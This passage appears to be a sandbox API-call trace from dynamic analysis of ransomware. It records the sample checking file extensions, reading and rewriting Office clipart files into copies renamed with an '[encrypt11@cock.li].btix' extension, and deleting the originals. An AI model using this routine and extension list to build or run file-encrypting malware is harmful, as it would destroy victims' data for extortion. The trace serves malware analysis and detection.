returned 4 [0147.662] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.662] lstrlenW (lpString=".7z") returned 3 [0147.662] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0147.662] lstrlenW (lpString=".dbf") returned 4 [0147.662] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0147.662] lstrlenW (lpString=".1cd") returned 4 [0147.662] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0147.662] lstrlenW (lpString=".jpg") returned 4 [0147.662] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.662] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.662] lstrlenW (lpString="HH00524_.WMF") returned 12 [0147.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0147.662] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=14688) returned 1 [0147.662] CloseHandle (hObject=0x38c) returned 1 [0147.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf")) returned 0x220 [0147.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0147.663] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.663] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0147.663] GetLastError () returned 0x0 [0147.663] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x3960, lpOverlapped=0x0) returned 1 [0147.664] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x3970, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x3970, lpOverlapped=0x0) returned 1 [0147.665] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.665] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0147.665] SetEndOfFile (hFile=0x390) returned 1 [0147.665] CloseHandle (hObject=0x390) returned 1 [0147.666] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.666] SetEndOfFile (hFile=0x38c) returned 1 [0147.667] CloseHandle (hObject=0x38c) returned 1 [0147.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0147.667] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf")) returned 1 [0147.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0147.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0147.667] lstrlenW (lpString=".doc") returned 4 [0147.667] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.667] lstrlenW (lpString=".docx") returned 5 [0147.667] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.667] lstrlenW (lpString=".pdf") returned 4 [0147.667] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.667] lstrlenW (lpString=".xls") returned 4 [0147.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.667] lstrlenW (lpString=".xlsx") returned 5 [0147.667] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.667] lstrlenW (lpString=".ppt") returned 4 [0147.667] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0147.667] lstrlenW (lpString=".zip") returned 4 [0147.668] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.668] lstrlenW (lpString=".rar") returned 4 [0147.668] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.668] lstrlenW (lpString=".bz2") returned 4 [0147.668] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.668] lstrlenW (lpString=".7z") returned 3 [0147.668] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0147.668] lstrlenW (lpString=".dbf") returned 4 [0147.668] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0147.668] lstrlenW (lpString=".1cd") returned 4 [0147.668] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0147.668] lstrlenW (lpString=".jpg") returned 4 [0147.668] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0147.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0147.668] lstrlenW (lpString=".doc") returned 4 [0147.668] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.668] lstrlenW (lpString=".docx") returned 5 [0147.668] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.668] lstrlenW (lpString=".pdf") returned 4 [0147.668] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.668] lstrlenW (lpString=".xls") returned 4 [0147.668] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.668] lstrlenW (lpString=".xlsx") returned 5 [0147.668] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.668] lstrlenW (lpString=".ppt") returned 4 [0147.668] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0147.668] lstrlenW (lpString=".zip") returned 4 [0147.668] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.668] lstrlenW (lpString=".rar") returned 4 [0147.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.669] lstrlenW (lpString=".bz2") returned 4 [0147.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.669] lstrlenW (lpString=".7z") returned 3 [0147.669] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0147.669] lstrlenW (lpString=".dbf") returned 4 [0147.669] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0147.669] lstrlenW (lpString=".1cd") returned 4 [0147.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0147.669] lstrlenW (lpString=".jpg") returned 4 [0147.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.669] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.669] lstrlenW (lpString="HH00526_.WMF") returned 12 [0147.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0147.669] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=13538) returned 1 [0147.669] CloseHandle (hObject=0x38c) returned 1 [0147.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf")) returned 0x220 [0147.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0147.670] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.670] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0147.670] GetLastError () returned 0x0 [0147.670] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x34e2, lpOverlapped=0x0) returned 1 [0147.930] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x34f0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x34f0, lpOverlapped=0x0) returned 1 [0147.933] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.933] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0147.934] SetEndOfFile (hFile=0x390) returned 1 [0147.934] CloseHandle (hObject=0x390) returned 1 [0147.934] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.934] SetEndOfFile (hFile=0x38c) returned 1 [0147.935] CloseHandle (hObject=0x38c) returned 1 [0147.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0147.935] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf")) returned 1 [0147.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0147.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0147.935] lstrlenW (lpString=".doc") returned 4 [0147.935] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.935] lstrlenW (lpString=".docx") returned 5 [0147.935] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.935] lstrlenW (lpString=".pdf") returned 4 [0147.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.935] lstrlenW (lpString=".xls") returned 4 [0147.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.936] lstrlenW (lpString=".xlsx") returned 5 [0147.936] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.936] lstrlenW (lpString=".ppt") returned 4 [0147.936] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0147.936] lstrlenW (lpString=".zip") returned 4 [0147.936] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.936] lstrlenW (lpString=".rar") returned 4 [0147.936] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.936] lstrlenW (lpString=".bz2") returned 4 [0147.936] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.936] lstrlenW (lpString=".7z") returned 3 [0147.936] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0147.936] lstrlenW (lpString=".dbf") returned 4 [0147.936] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0147.936] lstrlenW (lpString=".1cd") returned 4 [0147.936] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0147.936] lstrlenW (lpString=".jpg") returned 4 [0147.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0147.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0147.936] lstrlenW (lpString=".doc") returned 4 [0147.936] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.936] lstrlenW (lpString=".docx") returned 5 [0147.936] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.936] lstrlenW (lpString=".pdf") returned 4 [0147.936] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.936] lstrlenW (lpString=".xls") returned 4 [0147.936] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.936] lstrlenW (lpString=".xlsx") returned 5 [0147.937] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.937] lstrlenW (lpString=".ppt") returned 4 [0147.937] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0147.937] lstrlenW (lpString=".zip") returned 4 [0147.937] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.937] lstrlenW (lpString=".rar") returned 4 [0147.937] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.937] lstrlenW (lpString=".bz2") returned 4 [0147.937] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.937] lstrlenW (lpString=".7z") returned 3 [0147.937] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0147.937] lstrlenW (lpString=".dbf") returned 4 [0147.937] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0147.937] lstrlenW (lpString=".1cd") returned 4 [0147.937] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0147.937] lstrlenW (lpString=".jpg") returned 4 [0147.937] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.937] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.937] lstrlenW (lpString="HH01015_.WMF") returned 12 [0147.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0147.937] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=1148) returned 1 [0147.937] CloseHandle (hObject=0x38c) returned 1 [0147.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf")) returned 0x220 [0147.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0147.938] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.938] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0147.938] GetLastError () returned 0x0 [0147.938] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x47c, lpOverlapped=0x0) returned 1 [0147.939] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x480, lpOverlapped=0x0) returned 1 [0147.940] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.940] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0147.940] SetEndOfFile (hFile=0x390) returned 1 [0147.940] CloseHandle (hObject=0x390) returned 1 [0147.940] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.940] SetEndOfFile (hFile=0x38c) returned 1 [0147.941] CloseHandle (hObject=0x38c) returned 1 [0147.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0147.941] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf")) returned 1 [0147.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0147.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0147.942] lstrlenW (lpString=".doc") returned 4 [0147.942] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.942] lstrlenW (lpString=".docx") returned 5 [0147.942] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.942] lstrlenW (lpString=".pdf") returned 4 [0147.942] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.942] lstrlenW (lpString=".xls") returned 4 [0147.942] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.942] lstrlenW (lpString=".xlsx") returned 5 [0147.942] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.942] lstrlenW (lpString=".ppt") returned 4 [0147.942] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0147.942] lstrlenW (lpString=".zip") returned 4 [0147.942] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.942] lstrlenW (lpString=".rar") returned 4 [0147.942] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.942] lstrlenW (lpString=".bz2") returned 4 [0147.942] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.942] lstrlenW (lpString=".7z") returned 3 [0147.942] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0147.942] lstrlenW (lpString=".dbf") returned 4 [0147.942] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0147.942] lstrlenW (lpString=".1cd") returned 4 [0147.942] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0147.942] lstrlenW (lpString=".jpg") returned 4 [0147.942] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0147.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0147.943] lstrlenW (lpString=".doc") returned 4 [0147.943] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.943] lstrlenW (lpString=".docx") returned 5 [0147.943] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.943] lstrlenW (lpString=".pdf") returned 4 [0147.943] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.943] lstrlenW (lpString=".xls") returned 4 [0147.943] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.943] lstrlenW (lpString=".xlsx") returned 5 [0147.943] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.943] lstrlenW (lpString=".ppt") returned 4 [0147.943] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0147.943] lstrlenW (lpString=".zip") returned 4 [0147.943] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.943] lstrlenW (lpString=".rar") returned 4 [0147.943] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.943] lstrlenW (lpString=".bz2") returned 4 [0147.943] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.943] lstrlenW (lpString=".7z") returned 3 [0147.943] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0147.943] lstrlenW (lpString=".dbf") returned 4 [0147.943] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.943] lstrlenW (lpString="C:\\Program Files\\Microsoft 